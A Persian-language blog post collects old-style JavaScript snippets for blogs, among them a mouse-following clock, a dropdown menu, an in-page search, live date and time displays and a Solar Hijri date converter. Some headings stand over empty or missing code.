document.write('<div id="Of" style="position:absolute;top:0px;left:0px"><div style="position:relative">');
for (i=0; i < n; i++)
document.write('<div id="ieFace" style="position:absolute;top:0px;left:0;height:'+a+';width:'+a+';text-align:center">'+props+Face[i]+'</B></font></div>');
document.write('</div></div>');
document.write('<div id="Oh" style="position:absolute;top:0px;left:0px"><div style="position:relative">');
for (i=0; i < H.length; i++)
document.write('<div id="ieHours" style="position:absolute;width:16px;height:16px;font-family:Arial;font-size:16px;color:'+hCol+';text-align:center;font-weight:bold">'+H[i]+'</div>');
document.write('</div></div>');
document.write('<div id="Om" style="position:absolute;top:0px;left:0px"><div style="position:relative">');
for (i=0; i < M.length; i++)
document.write('<div id="ieMinutes" style="position:absolute;width:16px;height:16px;font-family:Arial;font-size:16px;color:'+mCol+';text-align:center;font-weight:bold">'+M[i]+'</div>');
document.write('</div></div>')
document.write('<div id="Os" style="position:absolute;top:0px;left:0px"><div style="position:relative">');
for (i=0; i < S.length; i++)
document.write('<div id="ieSeconds" style="position:absolute;width:16px;height:16px;font-family:Arial;font-size:16px;color:'+sCol+';text-align:center;font-weight:bold">'+S[i]+'</div>');
document.write('</div></div>')
}
function ClockAndAssign(){
time = new Date ();
secs = time.getSeconds();
sec = -1.57 + Math.PI * secs/30;
mins = time.getMinutes();
min = -1.57 + Math.PI * mins/30;
hr = time.getHours();
hrs = -1.575 + Math.PI * hr/6+Math.PI*parseInt(time.getMinutes())/360;
if (ie){
Od.style.top=window.document.body.scrollTop;
Of.style.top=window.document.body.scrollTop;
Oh.style.top=window.document.body.scrollTop;
Om.style.top=window.document.body.scrollTop;
Os.style.top=window.document.body.scrollTop;
}
for (i=0; i < n; i++){
 var F=(ns)?document.layers['nsFace'+i]:ieFace[i].style;
 F.top=y[i] + ClockHeight*Math.sin(-1.0471 + i*Split*Math.PI/180)+scrll;
 F.left=x[i] + ClockWidth*Math.cos(-1.0471 + i*Split*Math.PI/180);
 }
for (i=0; i < H.length; i++){
 var HL=(ns)?document.layers['nsHours'+i]:ieHours[i].style;
 HL.top=y[i]+HandY+(i*HandHeight)*Math.sin(hrs)+scrll;
 HL.left=x[i]+HandX+(i*HandWidth)*Math.cos(hrs);
 }
for (i=0; i < M.length; i++){
 var ML=(ns)?document.layers['nsMinutes'+i]:ieMinutes[i].style;
 ML.top=y[i]+HandY+(i*HandHeight)*Math.sin(min)+scrll;
 ML.left=x[i]+HandX+(i*HandWidth)*Math.cos(min);
 }
for (i=0; i < S.length; i++){
 var SL=(ns)?document.layers['nsSeconds'+i]:ieSeconds[i].style;
 SL.top=y[i]+HandY+(i*HandHeight)*Math.sin(sec)+scrll;
 SL.left=x[i]+HandX+(i*HandWidth)*Math.cos(sec);
 }
for (i=0; i < D.length; i++){
 var DL=(ns)?document.layers['nsDate'+i]:ieDate[i].style;
 DL.top=Dy[i] + ClockHeight*1.5*Math.sin(currStep+i*Dsplit*Math.PI/180)+scrll;
 DL.left=Dx[i] + ClockWidth*1.5*Math.cos(currStep+i*Dsplit*Math.PI/180);
 }
currStep-=step;
}
function Delay(){
scrll=(ns)?window.pageYOffset:0;
Dy[0]=Math.round(DY[0]+=((ymouse)-DY[0])*speed);
Dx[0]=Math.round(DX[0]+=((xmouse)-DX[0])*speed);
for (i=1; i < D.length; i++){
Dy[i]=Math.round(DY[i]+=(Dy[i-1]-DY[i])*speed);
Dx[i]=Math.round(DX[i]+=(Dx[i-1]-DX[i])*speed);
}
y[0]=Math.round(Y[0]+=((ymouse)-Y[0])*speed);
x[0]=Math.round(X[0]+=((xmouse)-X[0])*speed);
for (i=1; i < n; i++){
y[i]=Math.round(Y[i]+=(y[i-1]-Y[i])*speed);
x[i]=Math.round(X[i]+=(x[i-1]-X[i])*speed);
}
ClockAndAssign();
setTimeout('Delay()',20);
}

if (ns||ie)window.onload=Delay;
</SCRIPT>
</body>

منويي كاربردي براي وبلاگ:

<html>
<head>
<title>Script Menu</title>
<style type="text/css">

</style>
<body marginheight="25" topmargin="25">
</head>
<script language="javascript">
<!-- wt - http://wt.blogfa.com

//!!!Edit the appearance here!!!

MenuWidth=170;           //Individual menu width.
MenuFont='Arial,Verdana';
MenuFontSize=2;          //1 to 7 only, 2 probably big enough.
MenuFontColor='#ffffff';
MenuBgColor='#5b7693';
HighLight='#b4c3d4';
Separater=2;             //Space around menus.
Centre=false;             //true or false.

//!!!Alter nothing here, go straight to "Links"!!!

n4=(document.layers);
n6=(document.getElementById&&!document.all);
ie=(document.all);
h=(ie)?document.body.clientHeight:window.innerHeight;
w=(ie)?document.body.clientWidth:window.innerWidth;
Titles=new Array()
Links=new Array()

algn1=(Centre)?'<center>':'';
algn2=(Centre)?'</center>':'';

function colour2(c){(n4)?c.bgColor=HighLight:c.style.background=HighLight}//
function colour1(c){(n4)?c.bgColor=MenuBgColor:c.style.background=MenuBgColor}//

var OpenLayer=(n4)?"<br><layer height=100% width=100% onMouseOver='colour1(this)'; onMouseOut='colour2(this)'>"+algn1:"<div style='height:auto;width:100%' onMouseOver='colour1(this)'; onMouseOut='colour2(this)'><font face="+MenuFont+" size="+MenuFontSize+" color="+MenuFontColor+">";
var CloseLayer=(n4)?algn2+"</layer>":"</font></div>";

var vs=(n4)?"<font face='Wingdings' color="+MenuBgColor+">n</font>":OpenLayer+"&nbsp;"+CloseLayer+"<font color="+MenuBgColor+">"+String.fromCharCode(9660)+"</font>";

/*************************************Links here****************************************

First off, alter the Titles to whatever. Add/delete as needed, make sure they're
numbered in order.

Now fill the Links with your er..links, as many as needed. Here's how.
Example:
+OpenLayer+"<a href='http://www.google.com' class='x'>Search with Google</a>"+CloseLayer

If you need to have quots etc in the link text make sure you escape them with a backslash.
Example:
...class='Y'> What\'s new </a>"+C...

***************************************************************************************/
Titles[0]="Menu 1";
Titles[1]="Menu 2";
Titles[2]="Menu 3";
Titles[3]="Menu 4";

Links[0]=vs
+OpenLayer+"<a href='http://yahoo.com')' class='x'>Yahoo</a>"+CloseLayer
+OpenLayer+"<a href='http://google.com')' class='x'>Google</a>"+CloseLayer
+OpenLayer+"<a href='javascript:void(\"\")' class='x'>Your links</a>"+CloseLayer
+OpenLayer+"<a href='javascript:void(\"\")' class='x'>Your links</a>"+CloseLayer
+OpenLayer+"<a href='javascript:void(\"\")' class='x'>Your links</a>"+CloseLayer
+OpenLayer+"<a href='javascript:void(\"\")' class='x'>Your links</a>"+CloseLayer

Links[1]=vs
+OpenLayer+"<a href='javascript:void(\"\")' class='x'>Your links</a>"+CloseLayer
+OpenLayer+"<a href='javascript:void(\"\")' class='x'>Your links</a>"+CloseLayer
+OpenLayer+"<a href='javascript:void(\"\")' class='x'>Your links</a>"+CloseLayer
+OpenLayer+"<a href='javascript:void(\"\")' class='x'>Your links</a>"+CloseLayer
+OpenLayer+"<a href='javascript:void(\"\")' class='x'>Your links</a>"+CloseLayer
+OpenLayer+"<a href='javascript:void(\"\")' class='x'>Your links</a>"+CloseLayer

Links[2]=vs
+OpenLayer+"<a href='javascript:void(\"\")' class='x'>Your links</a>"+CloseLayer
+OpenLayer+"<a href='javascript:void(\"\")' class='x'>Your links</a>"+CloseLayer
+OpenLayer+"<a href='javascript:void(\"\")' class='x'>Your links</a>"+CloseLayer
+OpenLayer+"<a href='javascript:void(\"\")' class='x'>Your links</a>"+CloseLayer
+OpenLayer+"<a href='javascript:void(\"\")' class='x'>Your links</a>"+CloseLayer
+OpenLayer+"<a href='javascript:void(\"\")' class='x'>Your links</a>"+CloseLayer

Links[3]=vs
+OpenLayer+"<a href='javascript:void(\"\")' class='x'>Your links</a>"+CloseLayer
+OpenLayer+"<a href='javascript:void(\"\")' class='x'>Your links</a>"+CloseLayer
+OpenLayer+"<a href='javascript:void(\"\")' class='x'>Your links</a>"+CloseLayer
+OpenLayer+"<a href='javascript:void(\"\")' class='x'>Your links</a>"+CloseLayer
+OpenLayer+"<a href='javascript:void(\"\")' class='x'>Your links</a>"+CloseLayer
+OpenLayer+"<a href='javascript:void(\"\")' class='x'>Your links</a>"+CloseLayer

//!!!Alter anything past this point!!!

w1=(MenuWidth+Separater)*Titles.length;
w2=w/2;
i1=w2-MenuWidth-Separater-w1/2;
i2=w2-MenuWidth-Separater-w1/2;
s1=MenuWidth+Separater;
s2=MenuWidth+Separater;
if (w1 > w2*2){i1=-MenuWidth;i2=-MenuWidth}
vy=(n4)?'show':'visible';
vn=(n4)?'hide':'hidden';

//Don't mess about with N4, just use layers.
if (n4){
for (i=0; i < Titles.length; i++){
document.write("<layer name='lnks"+i+"' top=0 left="+(i2+=s2)+" "
+" width="+MenuWidth+" bgcolor="+HighLight+" visibility=hide"
+" onMouseOver='this.visibility=vy; var cd=this.id.length-1; var ab=this.id.charAt(cd); H(ab)' "
+" onMouseOut='this.visibility=vn; var ef=this.id.length-1; var gh=this.id.charAt(ef); B(gh)'>"
+algn1+"<font face="+MenuFont+" size="+MenuFontSize+">"
+"&nbsp;<br>"+Links[i]+"</font>"+algn2+"</layer>");
document.write("<layer name='ttls"+i+"' top=0 left="+(i1+=s1)+" height=0 "
+"width="+MenuWidth+" bgcolor="+MenuBgColor+" "
+"onMouseOver=\"this.bgColor=HighLight; var e=this.id.length-1; var d=this.id.charAt(e); On(d)\" "
+"onMouseOut=\"this.bgColor=MenuBgColor; var e=this.id.length-1; var d=this.id.charAt(e); Off(d)\">"
+algn1+"<font face="+MenuFont+" size="+MenuFontSize+" color="+MenuFontColor+">"
+Titles[i]+"</font>"+algn2+"</layer>");
}
function On(x){for (i=0; i < Titles.length; i++)document.layers['lnks'+x].visibility=vy}
function Off(x){for (i=0; i < Titles.length; i++)document.layers['lnks'+x].visibility=vn}
function B(y){for (i=0; i < Titles.length; i++)document.layers['ttls'+y].bgColor=MenuBgColor}
function H(y){for (i=0; i < Titles.length; i++)document.layers['ttls'+y].bgColor=HighLight}
}
if (!n4){
for (i=0; i < Titles.length; i++){
document.write("<div id='lnks"+i+"' style='position:absolute;"
+"top:0px;left:"+(i2+=s2)+"px;width:"+MenuWidth+"px;"
+"background:"+HighLight+";visibility:hidden'"
+" onMouseOver='this.style.visibility=vy; document.getElementById(\"ttls"+i+"\").style.background=HighLight';"
+" onMouseOut='this.style.visibility=vn; document.getElementById(\"ttls"+i+"\").style.background=MenuBgColor'>"
+algn1+Links[i]+algn2+"</div>");
document.write("<div id='ttls"+i+"' style='position:absolute;top:0px;left:"+(i1+=s1)+"px;height:auto;width:"+MenuWidth+"px;"
+"background:"+MenuBgColor+";cursor:default'"
+" onMouseOver='document.getElementById(\"lnks"+i+"\").style.visibility=vy;this.style.background=HighLight'"
+" onMouseOut='document.getElementById(\"lnks"+i+"\").style.visibility=vn;this.style.background=MenuBgColor'>"
+algn1+"<font face="+MenuFont+" size="+MenuFontSize+" color="+MenuFontColor+">"+Titles[i]+"</font>"+algn2+"</div>");
}
}
function Scroll(){
sy=(ie)?document.body.scrollTop:window.pageYOffset;
for (i=0; i < Titles.length; i++){
if (n4){
 document.layers['ttls'+i].top=Separater+sy;
 document.layers['lnks'+i].top=Separater+sy;
 }
else{
 document.getElementById("ttls"+i).style.top=Separater+sy;
 document.getElementById("lnks"+i).style.top=Separater+sy;
 }
}
setTimeout('Scroll()',150)
}
Scroll();
window.onresize=new Function("window.location.reload()");

if (!n4){
for (i=0; i < document.links.length; i++){
 if (document.links[i].href == this.window.location.href)
  {
  document.links[i].style.color=MenuBgColor;
  document.links[i].style.cursor='crosshair';
  //document.links[i].innerHTML+=' -';
  //alert(i+' '+document.links[i].href);
  break;
  }
 }
}
//-->
</script>
</body>
</html>

نمايش مشخصات مرورگر (كار كرد در تمام مرورگرها):

نمايش ساعت به صورت 12 و 24 ساعته:

<html>
<head>
<meta http-equiv="Content-Language" content="fa">
<title>12 or 24 hours timer</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<SCRIPT LANGUAGE="JavaScript">

</script>
<BODY onLoad="showTheTime()">

<center><form name=form>
<input type=text name=showTime size=11><p>
<input type=radio name=showMilitary checked>24 ساعته<br>
<input type=radio name=showMilitary>12 ساعته<br>
</form></center>
</body>
</html>

كد جستجو در وبلاگ:

<head>
<meta http-equiv="Content-Language" content="fa">
<title>12 or 24 hours timer</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<SCRIPT language=JavaScript>
var NS4 = (document.layers);    
var IE4 = (document.all);
var win = window;    
var n   = 0;
function findInPage(str) {
  var txt, i, found;
  if (str == "")
    return false;
  if (NS4) {
    if (!win.find(str))
      while(win.find(str, false, true))
        n++;
    else
      n++;
    if (n == 0)
      alert("Not found.");
  }
  if (IE4) {
    txt = win.document.body.createTextRange();
    for (i = 0; i <= n && (found = txt.findText(str)) != false; i++) {
      txt.moveStart("character", 1);
      txt.moveEnd("textedit");
    }
    if (found) {
      txt.moveStart("character", -1);
      txt.findText(str);
      txt.select();
      txt.scrollIntoView();
      n++;
    }
    else {
      if (n > 0) {
        n = 0;
        findInPage(str);
      }
      else
        alert("ببخشيد... كلمه اي كه نوشتي تو وبلاگ نيست");
   }
  }
  return false;
}
</SCRIPT>

گردش پروانه در وبلاگ:

نمايش تاريخ و ساعت در وبلاگ:

<body onLoad="goforit()">
<script>
var dayarray=new Array("Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday")
var montharray=new Array("January","February","March","April","May","June","July","August","September","October","November","December")

function getthedate(){
var mydate=new Date()
var year=mydate.getYear()
if (year < 1000)
year+=1900
var day=mydate.getDay()
var month=mydate.getMonth()
var daym=mydate.getDate()
if (daym<10)
daym="0"+daym
var hours=mydate.getHours()
var minutes=mydate.getMinutes()
var seconds=mydate.getSeconds()
var dn="AM"
if (hours>=12)
dn="PM"
if (hours>12){
hours=hours-12
}
if (hours==0)
hours=12
if (minutes<=9)
minutes="0"+minutes
if (seconds<=9)
seconds="0"+seconds
//change font size here
var cdate="<small><font color='000000' face='Arial'><b>"+dayarray[day]+", "+montharray[month]+" "+daym+", "+year+" "+hours+":"+minutes+":"+seconds+" "+dn
+"</b></font></small>"
if (document.all)
document.all.clock.innerHTML=cdate
else
document.write(cdate)
}
if (!document.all)
getthedate()
function goforit(){
if (document.all)
setInterval("getthedate()",1000)
}
</script>
<span id="clock"></span>

ساعت ديناميكي:

<SCRIPT LANGUAGE="JavaScript">
var timerID = null;
var timerRunning = false;

function stopclock ()
{
  if(timerRunning)
  clearTimeout(timerID);
  timerRunning = false;
}

function showtime () 
{
  var now = new Date();
  var hours = now.getHours();
  var minutes = now.getMinutes();
  var seconds = now.getSeconds()

var timeValue = "" + ((hours >12) ? hours -12 :hours)
  timeValue += ((minutes < 10) ? ":0" : ":") + minutes
  timeValue += ((seconds < 10) ? ":0" : ":") + seconds
  timeValue += (hours >= 12) ? " P.M." : " A.M."
  document.clock.face.value = timeValue;

// you could replace the above with this
// and have a clock on the status bar:
// window.status = timeValue;

timerID = setTimeout("showtime()",1000);
  timerRunning = true;
}

function startclock () 
{
// Make sure the clock is stopped
  stopclock();
  showtime();
}

</SCRIPT>

<BODY onLoad="startclock(); timerONE=window.setTimeout"

TEXT="ffffff">

اضافه به علاقه منديها:

اين وبلاگ را صفحه خانگي خود كنيد:

پيام صبح بخير و ... به طور اتومات و به نسبت زماني:

<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1256">
<title></title>
</head>
<html>
<body>
<center>
<script LANGUAGE="JavaScript">

</script>
</center>
</body>
</html>

تاريخ هجري شمسي:

<head>
<meta name="link" content="http://Theme.blogfa.com"> 
<META content="FrontPage.Editor.Document" name=ProgId> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD> 
<TITLE>تاريخ هجري شمسي</TITLE> 
<SCRIPT LANGUAGE=JAVASCRIPT> 
function showdate() { 
    week= new Array("يكشنبه","دوشنبه","سه شنبه","چهارشنبه","پنج شنبه","جمعه","شنبه") 
    months = new Array("فروردين","ارديبهشت","خرداد","تير","مرداد","شهريور","مهر","آبان","آذر","دي","بهمن","اسفند"); 
    a = new Date(); 
    d= a.getDay(); 
    day= a.getDate(); 
    month = a.getMonth()+1; 
    year= a.getYear(); 
    if (year== 0){year=2000;} 
    if (year<100){year +=1900;} 
    y=1; 
    for(i=0;i<3000;i+=4) { 
        if (year==i) {y=2;} 
        } 
    for(i=1;i<3000;i+=4) { 
        if (year==i) {y=3;} 
        } 
if (y==1) { 
        year -= ( (month < 3) || ((month == 3) && (day < 21)) )? 622:621;

switch (month) { 
            case 1: (day<21)? (month=10, day+=10):(month=11, day-=20); break; 
            case 2: (day<20)? (month=11, day+=11):(month=12, day-=19); break; 
            case 3: (day<21)? (month=12, day+=9):(month=1, day-=20);   break; 
            case 4: (day<21)? (month=1, day+=11):(month=2, day-=20);   break; 
            case 5: 
            case 6: (day<22)? (month-=3, day+=10):(month-=2, day-=21); break; 
            case 7: 
            case 8: 
            case 9: (day<23)? (month-=3, day+=9):(month-=2, day-=22);  break; 
            case 10:(day<23)? (month=7, day+=8):(month=8, day-=22);    break; 
            case 11: 
            case 12:(day<22)? (month-=3, day+=9):(month-=2, day-=21);  break; 
       default:          break; 
        } 
        } 
if (y==2) { 
        year -= ( (month < 3) || ((month == 3) && (day < 20)) )? 622:621;

switch (month) { 
            case 1: (day<21)? (month=10, day+=10):(month=11, day-=20); break; 
            case 2: (day<20)? (month=11, day+=11):(month=12, day-=19); break; 
            case 3: (day<20)? (month=12, day+=10):(month=1, day-=19);   break; 
            case 4: (day<20)? (month=1, day+=12):(month=2, day-=19);   break; 
            case 5: (day<21)? (month=2, day+=11):(month=3, day-=20);   break; 
            case 6: (day<21)? (month=3, day+=11):(month=4, day-=20); break; 
            case 7: (day<22)? (month=4, day+=10):(month=5, day-=21);   break; 
            case 8: (day<22)? (month=5, day+=10):(month=6, day-=21);   break; 
            case 9: (day<22)? (month=6, day+=10):(month=7, day-=21);  break; 
            case 10:(day<22)? (month=7, day+=9):(month=8, day-=21);    break; 
            case 11:(day<21)? (month=8, day+=10):(month=9, day-=20);   break; 
            case 12:(day<21)? (month=9, day+=10):(month=10, day-=20);  break; 
       default:          break; 
        } 
        } 
if (y==3) { 
        year -= ( (month < 3) || ((month == 3) && (day < 21)) )? 622:621;

switch (month) { 
            case 1: (day<20)? (month=10, day+=11):(month=11, day-=19); break; 
            case 2: (day<19)? (month=11, day+=12):(month=12, day-=18); break; 
            case 3: (day<21)? (month=12, day+=10):(month=1, day-=20);   break; 
            case 4: (day<21)? (month=1, day+=11):(month=2, day-=20);   break; 
            case 5: 
            case 6: (day<22)? (month-=3, day+=10):(month-=2, day-=21); break; 
            case 7: 
            case 8: 
            case 9: (day<23)? (month-=3, day+=9):(month-=2, day-=22);  break; 
            case 10:(day<23)? (month=7, day+=8):(month=8, day-=22);    break; 
            case 11: 
            case 12:(day<22)? (month-=3, day+=9):(month-=2, day-=21);  break; 
       default:          break; 
        } 
        } 
document.write(week[d]+" "+day+" "+months[month-1]+" "+ year); 
} 
</SCRIPT> 
</HEAD> 
<BODY> 
TABLE align="center"><TR><TD> 
 <FONT face=tahoma size="2" color="#000000"> 
<SCRIPT>showdate()</SCRIPT> 
</FONT> 
</TD></TR></TABLE> 
</BODY> 
</HTML>

تقويم ميلادي:

<center>
<SCRIPT LANGUAGE="JavaScript">

</SCRIPT>
</CENTER>

پخش موزيك در وبلاگ:

نمايش تعداد كاربران آنلاين در وبلاگ:

نمايش تعداد بازديدها در وبلاگ:

نمايش تعداد بازديدهاي هر كاربر :

| نوشته شده توسط آرشام هکر در دسته : پکیج کامل کد های جاوا |

من در ياهو

| نوشته شده توسط آرشام هکر در دسته : |

عضويتلغو عضويت

در آرشام.د. عضو شوید واز کد های

خبرنامه

آمار

نظر سنجی

لینکستان و ... بهره ببرید

| نوشته شده توسط آرشام هکر در دسته : |